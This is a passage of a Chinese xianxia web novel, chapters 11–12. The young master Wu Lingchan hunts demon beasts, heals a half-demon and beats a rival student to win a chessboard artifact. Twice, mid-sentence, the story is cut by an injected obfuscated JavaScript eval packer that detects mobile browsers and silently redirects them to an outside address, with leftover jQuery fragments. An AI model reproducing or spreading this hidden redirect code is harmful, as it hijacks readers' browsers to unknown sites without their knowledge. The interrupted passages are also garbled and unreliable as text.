尘赦专心棋局,“你对哪个最有兴趣?” 乌令禅听不太懂,但其他几个都勉强猜出大致意思,唯独这个。 “炉鼎采补?” 尘赦执棋的手微顿,似乎没料到乌困困竟然在一堆正统法子里寻了个最不正经的。 小小年纪,如此好色? 乌令禅接着问:“……什么意思呀?” 尘赦:“……” 尘赦道:“最不适合你的。” “哦!” 乌令禅玩性大,见达成目的也没停留,一溜烟小跑着出去玩了。 荀谒守在廊下,知晓尘君研究黑白子的时候极其沉浸,从不会唤他,所以开始抓紧时间偷偷修行,超越伏舆摘得“第一杀神”的宝座。 可没到入定半刻钟,尘赦忽地道:“荀谒。” 荀谒猝不及防,差点走火入仙,忙不迭睁开眼,快步走进内殿。 “尘君有何吩咐?” 是将因本命法器被毁的江争流斩草除根,还是去彤阑殿抢夺魔君印,亦或是杀进枉了茔一统昆拂墟?! 荀谒等候吩咐。 尘赦翻着《经纬集》,漫不经心地道:“找人暗中看顾好乌困困,和什么人有交集都来告诉我,莫让他被人哄骗,误入歧途。” 荀谒肃然道:“是!” ……嗯?嗯嗯? 11.棋盘 后山。 此处本是一片海似的荷藕池,几百年前苴浮君为了追求乌君,用灵力催动千倾莲池转瞬绽放荷花,并示爱“这是我为你绽放的心啊”。 乌君笑了,一掌将荷藕池抽干,让苴浮君绽放的“心”转瞬枯萎,扬长而去。 自那之后,海枯山起,满地无水却长满荷花,遂改叫荷藕山。 翌日,乌令禅只在丰羽小斋上了半日的课,便前往后山。 墨痕好似仙子飘带环绕在乌令禅小臂上,他拿着令牌跃至后山入口,入目便是碧莹和淡粉交织,莲花幽香扑面而来。 乌令禅只是炼气修为,看守后山的长老给他的猎兽区域只在外围,溜达半天才瞧见一只走路蹒跚的幼兽。 明明毫无灵力,却还凶狠地扑到乌令禅身边咬他衣摆。 乌令禅一巴掌把它脑袋拍地上。 小兽叫了几声,又爬起来咬他鞋。 “不行。”乌令禅坐在墨痕上,交替晃荡着小腿任由它啃,“此处无法令我施展拳脚,墨宝,你能搜寻下何处有大魔兽吗?” 玄香已懒得纠正这个名字:“往南二十里是后山腹地,魔息浓郁——不过覆盖着结界,又有人专门看管入口,你的令牌恐怕无法通过。” 乌令禅哼笑了声:“从没有人会拒绝我。” 玄香道:“哦?尘赦不是拒绝你好多回?” 乌令禅:“……” 乌令禅沉着脸一路飞去腹地,决定让玄香瞧瞧自己的能力。 果不其然在刚到结界边缘,守山人踩着莲叶而来,抬手招来一道灵力化为一朵虚幻的莲花,严严实实将乌令禅给罩在其中。 “何人擅闯?” “乌困困少君。” 守山人一袭黑衣戴着面具,从没听说过什么困什么少什么君的,声音低沉:“炼气期修为禁止入腹地,速速离开。” 乌令禅站在合拢旋转的灵莲花中,衣摆花簇似的飞扬:“你让我进去,就算出了事也不会怪罪到你身上。” 守山人气笑了:“胡言乱语!再不离开,我只能将你扔出去了!” 乌令禅竟被拒绝,怒道:“你敢扔我?!” 玄香满脸一言难尽。 他想开口劝说乌令禅,可又知晓这倔脾气根本不会听。 乌令禅被霄雿峰宗主捡回宗门,虽然修行仙门道法可骨子里终究是劣性难改的魔修做派,经常闯出不少祸事。 霄雿峰宗主待他并不算和善,更不会有耐心教导他何为善恶,每次惹出麻烦来,他都是直接将乌令禅关在空无一人的山上思过。 玄香有时一闭关就是两三年,这十年来和乌令禅相处最多的,便是玄香太守画出来的墨人。 墨人对乌令禅言听计从,穿衣束发、揉肩捏腿、跪地叩拜,无不顺从。 等玄香察觉到不对时已经晚了,十岁的乌令禅已自封为天运之子、世界中心、绝世天骄,世间众生都得围着他转。 好死不死,乌令禅又有绝佳的气运和令人胆寒的修行天赋,罕见出次门都会被疯狂追捧。 被这个榜那个榜的榜首往下脑门上砸,更为乌天骄的骄狂骄矜打下坚实的地基——连玄香都无法撼动。 玄香简直不堪回首。 看守山人满脸“这人不会是个傻子吧”的眼神,玄香憋住了劝说,等着看他吃瘪。 乌令禅这脾气,也该受些挫折了。 守山人威压横扫过去,耐性彻底告罄,抬手就要将包裹着乌令禅的这朵莲花给扔飞二十里之外去。 忽地,他视线落在乌令禅腰间那叮铃哐啷的配饰上。 “嘶……” 守山人倒吸一口凉气。 那竟是尘君随身携带多年的四冥金铃?! ——也难为他能在一堆闪瞎眼的配饰堆里一眼发现这颗小铃铛。 玄香正准备看乌令禅被扔出去后讥讽他,却见守山人忽然单膝跪地,奉上进结界的令牌,语气明显变得恭敬。 “是属下冒犯了!请困困少君进去!” 玄香:“?” 淡粉莲花缓缓往四面绽放败落,乌令禅轻飘飘从莲台跃下来,接过令牌,神态自然,仿佛理应如此。 “里面的魔兽我都能随便猎吗?” “自然。”守山人道,“不过今日出锋学斋的学子正在猎兽比试,您可往南行,省得他们冲撞到困困少君。” “哦!” 守山人颔首告退。 乌令禅拿着令牌顺利进入后山腹地,后知后觉玄香一直没吱声,好奇道:“你怎么不说话?” 玄香:“…………” 玄香沉默许久,才幽幽道:“我话本就不多——别废话了,猎魔去。” “哦!” 腹地比外围的魔兽多得多了,更何况乌令禅这身血肉是魔兽互相争夺的一盘菜。 刚入腹地没半个时辰,已有十几个魔兽前来送死。 虽然口中说着乌令禅猎魔,实际上出力的全是玄香,转瞬便在血雾墨痕交织中飘出魔兽内丹。 玄香直接原地吞了。 乌令禅仍戴着他的“仙子飘带”托着腮坐在那画小人,见玄香凶残的一口一个,疑惑道:“你有没有觉得魔兽来得越来越多了?” 玄香忙着吃没说话,等吃够了才化为一圈墨痕缠绕乌令禅周身,遮掩乌令禅身上的魔族气息。 效果几乎立竿见影,魔兽逐渐开始减少。 乌令禅谦虚地颔首:“连魔兽都为我着迷,疯狂觊觎我。” 玄香:“……” 玄香吞了太多魔兽内丹,墨痕终于勉强凝出个虚幻的人形。 他懒得听乌令禅自我吹嘘,将吞不下的魔兽内丹选了一堆最漂亮的放在储物空间,留给乌令禅玩。 杀尽四周魔兽,玄香随手挥出一笔,鲜血淋漓的尸身像是被腐蚀般化为血雾消散半空。 玄香杀兽夺丹、清理残局,乌令禅就坐在一旁看,边看边吃点心,悠闲得不得了。 玄香瞥了他一眼,又像是发现什么,不耐地伸手往一旁的莲花深处探去。 墨痕长鞭似的将无数荷叶梗切断,眨眼间缠着一个人影飞了过来,踉跄着摔在地上。 玄香好似水墨画走出的人,举手投足轻缓,袖袍像浸入清水的墨烟飘然而动。 他随手一拢,勾起描绘乌发的一笔水墨痕化为尖锐的细剑,居高临下望着来人,冷冷道:“跟了一路了,想死吗?” 乌令禅本来百无聊赖捏着莲花玩,随意一瞧,眉梢扬了起来:“是你呀?” 被玄香五花大绑的人,赫然是上次见过的半魔。 玄香眸瞳一动:“认识?” “是啊。”乌令禅飘过来,手指一点将半魔身上的墨绳拂去,“你怎么在这里?” 半魔比上次见时更狼狈了,脸倒是干净了许多,只是背后的箭似乎又深扎入身体几分,面容煞白如纸,没有半分血色。 半魔忌惮地看着明显和他们不是一个生物的玄香,抿了抿唇,虚弱地道:“我……我没有恶意。” 玄香轻嗤。 若有恶意,他活不到现在。 玄香懒得搭理,化为一道墨痕钻进乌令禅腕间的墨块。 乌令禅好奇地问:“你是来找我的吗?” 半魔:“不是!” “还说谎?”乌令禅笑眯眯地说,“如果不是来找我的,你今天干嘛一直偷偷跟着我?” 半魔:“……” 半魔气若游丝,嗫嚅半晌也不知该说什么。 乌令禅歪头看他,忽然走到他身后。 半魔一惊,下意识不想后背对着别人,正要转身,忽地后心传来一阵钻心的疼痛。 ……乌令禅干脆利落地把他后心的箭拔了。 半魔:“……” 血瞬间汹涌而出,疼得半魔狼狈俯趴在地上,他冷汗直流,脸色煞白道:“你做……什么?!” 乌令禅又将他另外一支箭拔了。 半魔奄奄一息趴在那,前所未有的后悔。 怪不得上次他不杀他,原来是想好好折磨一通。 他还当此人和其他人不一样,原来也是心思深沉的伪君子,人类、魔族全都一个样,果然不能报太多期…… 刚想到这里,半魔就感觉跟随他数十年的疼痛像是在飞快合拢,伤口长出新肉,带着野性的身躯一寸寸恢复力量。 半魔一怔,愕然看向乌令禅。 上次江争流将那一桶琼浆液给少君包起来了,乌令禅随意拿出堪比霄雿峰家底的几滴往半魔伤口上一按,折磨他数十年的伤口顷刻痊愈。 “好啦。”乌令禅说,“这下有力气说话了吧。” 半魔:“……” 半魔从未受过任何恩惠,心口狂跳几乎要蹦出喉咙,逼得他眼圈缓缓红了。 这人怎么这么…… 乌令禅一见,这还了得?忙伸手作势要抽他:“我为你拔箭治伤,你怎么还恩将仇报呢?不许瞪我!” 半魔:“……” 半魔闭了闭眼,一时不知如何收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004583|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾满胸腔沸腾的情绪。 许久,他缓缓吐出一口颤抖的气息,从满是脏污的袖口中拿出个东西递过去。 他没做过这种事,这下不光眼眶红了,脸也不怎么白。 “送给你。” 乌令禅往后退了半步。 半魔沉默半晌,捡起几片莲花瓣擦干净了再给他。 乌令禅看着那个破旧的圆形铁疙瘩:“这是什么?” “魔炁。”半魔垂着头低声说,“你不是想要吗,给你。” 乌令禅一怔,愕然看向那个不起眼的丑东西。 半魔轻轻按了下铁疙瘩中的凹槽,就见那铁器像是莲花绽放似的分裂成叶片般的五瓣,分别延伸出五条绳子绑住最当中的东西。 一绺紫雾蜷成一团,飘飘浮浮。 ——正是魔炁。 乌令禅吃了一惊。 他忙活好几日也没能得到一绺,没想到峰回路转,魔炁竟主动送上门来了。 “这真给我的?” “嗯。” “你哪儿来的?” “虚空缝隙魔兽厮杀两败俱伤,我捡到的。” 乌令禅叹为观止,见半魔毫不吝啬,忙高兴地去拿。 就在这时,玄香忽然道:“小心。” 话音未落,两人面容上闪现一道煞白光芒,紧接着一个圆形的巨石从天而降,轰然一声朝着两人罩了下去。 乌令禅眉梢一挑,正要用玄香将两人护住。 这时,一抹人影忽地从一侧而来,动作迅速地将他拦腰抱起,千钧一发之际纵身一跃,躲避巨石。 乌令禅:“?” 轰隆—— 巨石终于落下,转瞬旋转着缩小无数倍,符纹闪现,好似一颗琉璃石将逃脱不及的半魔困在其中。 乌令禅一愣。 像猫一样抱着他的人终于将他轻缓放下,这人儒雅的青衣沾染血污,五官俊美眼尾微垂,单色的唇抿着,莫名有种伤春悲秋的气质。 “你没事吧?”他担忧地问,说话也是轻声细语。 乌令禅眨了眨眼,又看向被关起来的半魔。 坏了,半魔和魔炁。 没等乌令禅将半魔夺回来,另一道黑色巨石紧跟着落下。 那人眉梢耷拉得更厉害了,抬手挥出一道金丹期灵力,半空巨石轰然炸开。 他将乌令禅护在身后,不耐地道:“学院比试,点到即止,你就不怕,伤及无辜?” “哈哈哈!” 远处传来嚣张的大笑,紧接着几道人影从半空落下,为首的少年从莲花深处走出,未见其人先听其声。 “温眷之啊温结巴,优柔寡断的人可当不得魁首,我以为这五年只能当千年老二的教训,已经让你学会这个道理了。” 温眷之恹恹地道:“你我之间,恩怨比试,同他无关。” 莲花左右分开,一个衣袍一半黑一半白的少年纵身一跃,手中一个方形的东西旋转着落在地上,骤然放大无数倍,压塌一片莲花。 这时,乌令禅才发现那是个纵横相交的灵阶法器——棋盘。 方才困住半魔的“白色巨石”是一颗白棋; 攻击温眷之的是黑棋。 池敷寒优哉游哉地踩在棋盘上,五官长相锋利又有攻击性。 他看都没看炼气期的乌令禅,挑衅道:“落日之前比试结束,算上这只半魔,我这新法器中已收了一百三十五只魔兽,而你却只有区区一百只。温眷之,你又输了。” 温眷之冷淡道:“还未日落,胜负难定。” 池敷寒将棋子随意抛着玩:“今日后山的魔兽似乎受到某种上古魔兽的强悍威压全都不见踪迹。还差半个时辰,你还要逞英雄地护着一个炼气期的蝼蚁,我倒要看看你去哪里找齐三十五颗魔兽内丹。” 温眷之:“不牢费心,滚滚滚滚。” 两人争吵间,乌令禅一直没说话。 这不太像他的作风。 玄香总觉得他在盘算什么,眼皮轻轻跳了跳:“你在想什么?”是在想怎么把困着半魔的棋子夺回来吗? 乌令禅个子矮,被结结实实拦在温眷之高大的身形后,每次想出来都被温眷之大惊失色地按回去,唯恐池敷寒对他这个无辜的孩子出手。 “唔。”乌令禅扒着温眷之的手臂探着脑袋,先看了眼没什么大碍的半魔,又看向池敷寒脚下的巨大玉棋盘,眼睛亮晶晶的,“你说我如果把那个棋盘法器抢过来,阿兄会喜欢吗?” 玄香:“…………” 12.抢棋盘 池敷寒背后一寒,环顾四周。 并没有魔兽。 温眷之似乎习惯池敷寒的奚落,神态自若,就当这疯狗不存在。 他回头看了看好似很畏惧的乌令禅,语调不自觉放轻:“不要害怕——后山艰险,魔兽众多,你师从哪、哪个学斋,为何孤身,过来此处?” 这人长相俊美,笑起来令人如沐春风,细听下才能察觉他说话时常打舌花,下意识会措辞简短,几个字几个字往外蹦,倒显得文绉绉的。 乌令禅眨了眨眼:“我是出锋学斋未入门学子,来后山猎兽。” 温眷之听到出锋学斋,心中还在嘀咕为何从未见过,后知后觉反应过来那个“未入门”,一时有些啼笑皆非。 “你等会跟、在我身后。”温眷之语调带着笑意,“我会护你,离开此处。” 乌令禅察觉此人释放的善意,也没拒绝:“哦!” 池敷寒抬手将困着半魔的棋子收回来,嗤笑道:“你还真是个老好人,灵力枯竭所剩无几,还要带一个累赘,就算败给我也不必这么急着找死吧。” 乌令禅眉头一皱。 温眷之笑着道:“就不劳你、多管闲事。” 池敷寒哼笑一声,转身就要扬长而去。 可还未御风,一道墨痕突兀地拦在面前。 乌令禅说:“我准你离开了吗?” 池敷寒:“?” 温眷之愕然看向乌令禅。 池敷寒霍然转身,黑白宽袖划过虚空好似扭曲合拢的太极。 池榜首向来顺风顺水,天赋异禀气运极佳,从来只有他嚣张的份儿,一刹那甚至觉得这话不是对他说的。 “你在和我说话?” 乌令禅眯了眯眼,道:“将你的棋盘交给我。” 池敷寒:“?” 池敷寒眯着眼睛,再次确定:“你!在和我!说话?!” 乌令禅狐疑地歪头问温眷之:“他是不是结巴啊?” 温眷之:“……” 池敷寒怒极反笑:“我凭什么要将自己的法器给你?” 乌令禅:“?” 玄香:“……” 玄香打赌这小子准在想“这还需要理由?” “啊。”乌令禅说,“你棋子里关着的半魔是我好友,难道不该还给我吗?” 棋子中的半魔本来还在绝望,乍一听到这句眼眸微微睁大,呆呆看他。 池敷寒气乐了:“方才若不是我及时将这只区区半魔困住,区区炼气期早就被他一口吃了!区区蝼蚁,非但不感恩戴德还敢提要求!” 乌令禅听不太懂他在叽歪什么,只满脑子“区区”,更加确定此人是结巴。 “他身上有我的印记,就是我的。” 池敷寒:“什么印……” 话音未落,乌令禅手腕上的墨块飘出一丝墨痕,被风吹拂着飘浮到池敷寒棋盘上的白棋里。 半魔茫然注视着他,脖颈处隐约有一个不易察觉的墨点。 池敷寒皱起眉头。 温眷之难得见池敷寒这个神情,在一旁帮腔:“你困半魔?哈哈哈哈,区区榜首,得魔兽丹,竟然靠抢?” 池敷寒:“……” “不信的话,我叫他一声,你看他应不应?”乌令禅说着朝半魔喊,“小羊。” 半魔:“……” 半魔:“……咩。” 乌令禅说:“看。” 池敷寒眯着眼睛打量着乌令禅,像是发现了什么,忽然道:“你是苴浮君之子,乌困困?” 乌令禅见他竟然认识自己,谦虚地道:“免礼平身。” 温眷之微怔:“乌、乌困困?” 乌令禅:“你也平身。” 池敷寒红瞳一动,已收起来的棋盘骤然放大,轰然一声化为虚影笼罩方圆五里。 “呵,真是得来全不费工夫,我没去找你,你反倒自己送上门来了。” 乌令禅看着脚下虚幻的棋盘线,不明所以:“我们认识?” “乌困困少君恐怕还不知道自己多有名吧?”池敷寒将关着半魔的棋子缩小托在掌心悬浮,似笑非笑地道,“归来不足七日就蛊惑尘君诸多破例、入住辟寒台,还骗来尘君的四冥金铃,又设计五长老闭关、二长老重伤濒死,真是好计谋,好算计啊。” 乌令禅:“?” 说啥呢,听不懂。 温眷之蹙眉:“他是少君,收回法器。” “你也知道他是少君。”池敷寒冷冷道,“在此时突然回来,目的不就是为了从尘君手中夺回新君之位?!尘君待我不薄,我绝不会让此心思歹毒之人得逞!” 温眷之:“你……” 池敷寒居高临下望着懵里懵懂的乌令禅,讥讽一笑:“你不是想要回‘好友’吗?我将他放了,你同我打一场。” 温眷之抬手将乌令禅护在身后,脸色微沉。 “池敷寒!适可而止!” 池敷寒不耐道:“平二九。” 话音落下,四周平铺的棋盘四隅坐标为「平二九」的位置,倏地凌空落下一枚白棋——正是温眷之所在的地方。 温眷之脸色一变,白棋骤然化为虚幻琉璃笼罩在他身上,转瞬被扔出棋盘之外。 “你疯了吗?!” 池敷寒不理他,直勾勾盯着乌令禅:“如何?” 乌令禅瞧见脚下棋盘的虚影,眼睛都亮了:“玄香,我就要这个!” 玄香:“……” 有事玄香,无事墨宝。 乌令禅确定好目标,扬眉伸手:“先把他还给我。” 池敷寒屈指一弹,白棋转瞬落至乌令禅面前,琉璃消散后,半魔从中掉了下来。 乌令禅伸手从半魔手中抓过那团魔炁,下巴一扬:“去后面躲着去……你怎么又瞪我?!” 半魔:“……” 半魔被乌令禅三番四次搅和得已差不多明白他的脾气,闭了闭眼将酸涩憋回去,低声提醒:“他是金丹中期,你没有胜算。” 乌令禅伸手指向一边,瞪他:“滚滚滚滚。” 说的话没一句爱听的。 池敷寒道:“平二八。” 半魔也被棋子包裹着扔了出去。 乌令禅将一枚金簪拔出化为一支笔,眉梢挑起:“你输了怎么办?” “绝无此种可能。” 池敷寒看那支花里胡哨毫无灵力的笔,冷笑道,“如果我真输了,头摘下来给你当球随便踢。” 乌令禅眼眸一眯:“就这么说定了。” 池敷寒勾唇冷笑。 灵阶法器「四方乌鹭」在法器榜上排行第七,仙阶法器之下第三,一旦入局就只能受他操控。 今日是他第一次用四方乌鹭,对付炼气期的蝼蚁足够了。 温眷之仍在试图阻止:“池敷寒,你若伤他,尘君那里如何交代?!” 池敷寒攻击他的法器排名:“闭嘴,区区第八。” 温眷之:“……” 乌令禅所在的位置在棋盘的平二八,池敷寒懒得和他多废话,只想一招将人击败。 招来满是魔气的黑棋,凶悍朝着乌令禅压下。 “平二……” 乌令禅红枫袖袍随风飞舞,抬笔一挥,轻轻启唇。 “泼墨。” 玄香太守往往以画做攻击,此时从墨块中却涌出一股漆黑到令人畏惧的黑墨,只是刹那间便以乌令禅为中心,铺天盖地地蔓延出去。 墨汁乌黑,瞬间遍布整个棋盘,遮掩经纬双线。 池敷寒:“……八???” 正要悍然落下的黑棋一僵,在原地迷茫转了半天圈,愣是没寻到四隅坐标。 池敷寒愣住了。 下一瞬,一道长鞭凌空而来,“啪”地一声脆响划破虚空。 池敷寒脸色一变,赤手空拳将那长鞭握在手中。 乌令禅周身飘着一条飞舞的墨绸,勾唇一笑,漂亮的眼睛眨也不眨地一掌震下。 轰隆——! 整个棋盘竟被打得深陷地面数丈,莲花海翻飞,惊起无数飞鸟。 温眷之和半魔呆愣在原地,不可置信望着远处。 乌困困分明是炼气修为,如何能抵抗金丹中期?! 玄香的墨缠着乌令禅的手腕,仙阶法器的灵力倾泻而出,转瞬压制住池敷寒的法器,一脚向池敷寒的胸口踹去。 池敷寒伸手一格,砰的一声两人被震得倒飞出去。 乌令禅被墨痕带着飘在半空,眉梢一挑:“玄香,我们俩真厉害。” 玄香:“……” 出力了吗你? 短促间交手几招,池敷寒神色肃然,注视着乌令禅身上的墨痕:“你的法器是玄香太守?!” 乌令禅谦逊有礼:“只有兵刃榜榜首,和我才相配。” 玄香:“……” 池敷寒眼睛都嫉妒得要飙血了:“玄香太守为仙阶法器,怎么可能认你一个区区炼气期为主?!区区炼气!区区……” 乌令禅:“?”怎么又结巴了? 三界的各种排榜并不通用,人族、妖族、魔族各有各的榜,各有各的天骄,懒得相互打听。 唯一通用的,便是上古兵刃榜。 仙阶法器鲜少出世,更何况是榜首玄香太守? 四方乌鹭被禁,金丹中期竟被压制着打。 池敷寒深深吸了口气,冷冷看着乌令禅,抬手划破手腕。 血瞬间涌出来,一道道猩红的符纹从他的血肉中挣扎着钻出来,如同面目狰狞的恶鬼,盘桓池敷寒四周。 乌令禅挑眉:“那是什么?” “符镇。” 墨光泽如漆,玄香缓缓从乌令禅背后走出,因用“泼墨”消耗过多灵力,他的灵体比方才淡了些,好似融于水中的墨烟。 乌令禅:“镇物?” “嗯。”玄香眉间轻蹙,眼瞳淡得几乎没有颜色,“怪不得尘赦如此器重他,仙阶镇物,以血为符,身为引,魂为笼,可遣灵镇物。难对付。” “哪里难对付?”乌令禅懒洋洋道,“既然以身为引,杀了他不就行了。” 玄香唇线被风吹得散了一瞬,再次凝聚后却是崩得死紧,低斥道:“魔炁入体,你又要遭受一次金丹聚拢又碎的疼痛。” 乌令禅眯着眼睛笑:“那又如何?我想得到的东西,从来没有得不到的。” “交给我。”玄香勒令,“不许用魔炁。” 几句话的功夫,池敷寒黑白衣袍上已爬满符纸,周身恶鬼似的符镇已满聚,弥漫滔天杀意。 看到这一幕,半魔脸色煞白如纸。 温眷之也惊住了。 池敷寒的脾气他一清二楚,连符镇都用上了,恐怕不会轻易收手。 池敷寒居高临下望着乌令禅:“玄香太守怎么会认你为主,对他而言,你不过就是个累赘。” 玄香脸色微变,下意识看向乌令禅。 果不其然,乌令禅已不笑了。 从小到大乌令禅活得并不算顺风顺水,但也不是苦大仇恨,他脾气好又没心没肺,从不将别人诋毁的话往心里去,见了谁都是笑眯眯的。 此时他却无半分笑意,浓密羽睫下红瞳疏冷。 “这是你第二次说我是累赘。”乌令禅说,“你现在道歉,我不再追究。” 符镇已爬上池敷寒的眼瞳,显得那张俊美的脸越发邪气。 “我哪句话说错了,若玄香太守被金丹元婴甚至化神修士所用,可移天撼地。落在你手中,连百中有一的能力也发挥不出来,不是累赘是什么?” 乌令禅耳畔嗡的一声,无数杂乱的声音涌入脑海。 “你就是个累赘!” “快滚!越远越好——!” 玄香看乌令禅脸色不对:“令禅?” 乌令禅:“回去。” 玄香无法反抗,化为水墨钻回墨块中。 乌令禅拿出半魔给他的铁疙瘩,轻轻捏碎。 魔炁瞬间飞了出来。 乌令禅看向池敷寒,轻轻笑了声,呢喃着道:“你会向我道歉的。” “好啊,我等着……” 池敷寒狠话还未放完,却见乌令禅的身形毫无征兆消失在原地。 池敷寒一怔,灵力转瞬铺出去却没有寻到丝毫灵力波动。 有那么一刹那,他心口一跳,莫名有种不祥的预感。 可四周皆是他的符镇,哪怕元婴期来了也无法在他手下讨好,更何况炼…… 砰。 池敷寒脸色骤变,一道符镇只来得及护住他的心口,下一瞬便轰然炸开破碎。 一把刀劈开了符镇。 池敷寒重重后退,抬头一看面露惊愕。 炼气…… 不对,四周那鬼魅似的气息正在变化,从那虚弱到令人发笑的炼气一层逐渐攀升,仅仅只是半个呼吸间便突破筑基、结丹。 最后停留在金丹期大圆满,甚至隐隐到了假婴境。 四周墨痕越来越黑,那是一种倒映不出任何颜色的墨黑,遮天蔽日。 池敷寒向来依仗他的符镇,此时却被那股威压激得心口狂跳。 忽地,一道漆黑墨痕如山峰似的袭来,池敷寒下意识要伸手,却惊恐得意识到自己根本抬不起手来。 那是境界和血脉的压制。 耳畔倏而一静。 池敷寒脸色惨白,心中只有一个念头。 完了。 他一招未出,却要被杀了。 下一瞬,浓墨骤然分开左右,那是煞白刀光劈开天地。 寒芒微闪,一只手从墨中深处狠狠扼住他的脖颈往下一掼! 池敷寒只觉得天旋地转,后背一痛。 等反应过来时他已被乌令禅掐着脖子按在地上。 生死间,所有记忆飞快闪过。 池敷寒忽地记起来,几年前外出历练时曾听说过人族仙盟有一绝世天骄,十四岁结丹,仙阶法器。 池敷寒当时嫌弃极了,只觉得仙盟是看昆拂墟有他如此天才,故意虚构个天才出来打压魔墟。 如今池敷寒陡然间记起来那“吹牛”的形容那榜首的一句话。 红衣丹枫绣金纹,玄香太守仙器灵。 背对着光的少年身形清瘦,红袍丹枫似血,墨痕和血交织着飘浮,手中握着那把破开日月的刀,干脆利落地往池敷寒面门一刺。 池敷寒瞳孔一缩。 竟然是他?! ……可已经晚了。 砰——! 刀刺入地面,深陷三寸。 四周一阵死寂。 池敷寒呆愣看着离他脖颈只有半寸的刀锋,已出了一身的冷汗。 不光他愣住,连一旁观战的两人也傻住了。 温眷之还在拿着传送玉牌给老师传信。 对面还在嚷嚷:“什么?什么什么?怎么不说话了?!池霜那小子又在欺负谁?!混账东西,回来我不打死他!仗着修为高就胡作非为,迟早有一日会踢到铁板!” 温眷之:“……” 老师放心,已经踢到了。 任谁都想不到,炼气期能在一瞬间直接攀升到金丹大圆满。 池敷寒败局已定。 半魔大大松了口气,双腿一软差点跪下去。 乌铁板面颊沾着一抹血痕,单膝抵在池敷寒胸口,居高临下看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010958|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“道歉。” 池敷寒惊魂未定,没有反应。 “啪”。 乌令禅给了他一巴掌。 半魔猛地捂住脸。 温眷之:“?” 池敷寒从小到大没受过如此大的屈辱,他正要本能扬眉发怒,乌令禅又给了他一巴掌。 “道不道歉?道不道歉你?你如此羞辱我,到底道不道歉?” 池敷寒:“……” 谁在羞辱谁? 池敷寒四肢被墨困着,无法反抗,很快就彻底被打服了——双重意义上的。 他咬着牙从牙缝里蹦出几个字:“对不起。” “四句累赘,你就一句?” 池敷寒恶狠狠地补给他,吼道:“对不起!对不起!对不起!够了吗?!” 乌令禅这才心满意足地踩着他的心口站起身来,随手将刀拔了出来,连带着四周泼墨一起收回影子里。 池敷寒还在躺在地上,一言难尽地看着他好久,瞪着他问:“你……不杀我吗?!” 半魔垂下头看脚尖。 温眷之:“?” 乌令禅金丹聚了又碎,脸色煞白,他像是没事儿人一样回头看去,眉梢轻扬。 落日残阳落在身上,微卷的红发随风而动,乌令禅忽然笑了起来。 池敷寒眼瞳倏地睁大。 “你们真有意思。”乌令禅笑眯眯地说,“被打了第一句话都是这句,我有什么必须杀你们的理由吗?” 池敷寒愣怔半晌才回过神,他咳了声,梗着脖子道:“愿赌服输!我输给你,性命就是你的!你要我的脑袋踢球,我直接摘给你!” 乌令禅说:“我要那玩意儿干嘛?” 池敷寒又咳了声:“那你……你、你……” 乌令禅心说真是个结巴。 “那你想要什么?”池敷寒从地上爬起来,已没了刚才的嚣张高傲,但还是很欠揍,“我任你差使。” 乌令禅眼睛一亮:“当真?” “我可以立誓。” 乌令禅当即说:“我要你的棋盘。” “嗯?什么棋盘?” “就刚才‘平王八’那个。” “?” 池敷寒将法器收回来变回巴掌大小飘浮掌心:“你说‘四方乌鹭’?” “嗯!” 池敷寒:“……” 池敷寒犹豫了下,委婉地说:“这个法器是我花费无数精力新弄到的,只用过这一次——不如我给你一张符镇,我的符镇,价值连城,绝世罕见!” 乌令禅没有眼力劲:“不用,新的棋盘更好。” 池敷寒:“……” 池敷寒咬了咬牙。 他虽然行事张狂肆意,却极有原则,愿赌服输,给了又如何? 反正今日学斋比试的榜首,也会得到一件新法器。 池敷寒闭眸切断和四方乌鹭的联系,捧着递给了乌令禅。 乌令禅高高兴兴接过来。 四方乌鹭一收,温眷之终于御风过来,诧异地上下打量乌令禅:“你……脸色难看,没有事吧?” 乌令禅正高兴着呢,懒得管身体的疼痛,摇摇头:“没事啦。” 四方什么乌的,灵阶法器名不虚传,玉棋盘温暖,棋奁的棋子意念一动就能落在棋盘上,甚为方便。 阿兄定然喜欢! 温眷之看向顶着四个巴掌印的池敷寒。 死对头终于出糗,温眷之终于没忍住淡淡道:“出锋榜首,踢到铁板,今晚消息,恐怕传遍……” 还未说完,池敷寒冷笑了声。 他被乌令禅打服,不代表脾气就被打没了,学着温眷之的语气阴阳怪气。 “马上日落,你内丹呢?手下败将,狗叫什么?” 温眷之:“……” “内丹?差点忘了。” 乌令禅伸手从玄香的储物空间掏啊掏,将剩下没吃的魔兽内丹全都拿出来给温眷之。 池敷寒:“?” 温眷之:“?” 温眷之愣了好久,无奈地失笑。 他看出以乌令禅的灵力,最开始棋子落下根本不必别人救,自己纯属是多管闲事了。 饶是如此,乌令禅仍然记着这一丁点的好意,一有机会便加倍奉还。 这样的人,怎么可能是心思歹毒之辈? 等乌令禅将第三十六只内丹放到温眷之手上,日落的最后一绺光刚好消失在天边。 两人腰间的玉佩忽地一闪,里面飘出个半透明的小猫,脖子上挂着「四啄」二字,喵喵叫着,极其亢奋。 “出锋学斋今日大比!胜者为温眷之!总归狩猎到一百三十六只魔兽内丹! “不愧是我们池少爷!让我们恭喜池敷寒,今夜昆拂空空里!池少爷请出锋学斋所有人纸醉金迷! “恭喜温眷之!” 池敷寒:“…………” 温眷之:“!” 池敷寒脸都红了——气的。 他连贵得要死的空空里酒楼都包了,还买通了四琢学宫公布结果的师兄,准备狠狠嘲讽温眷之。 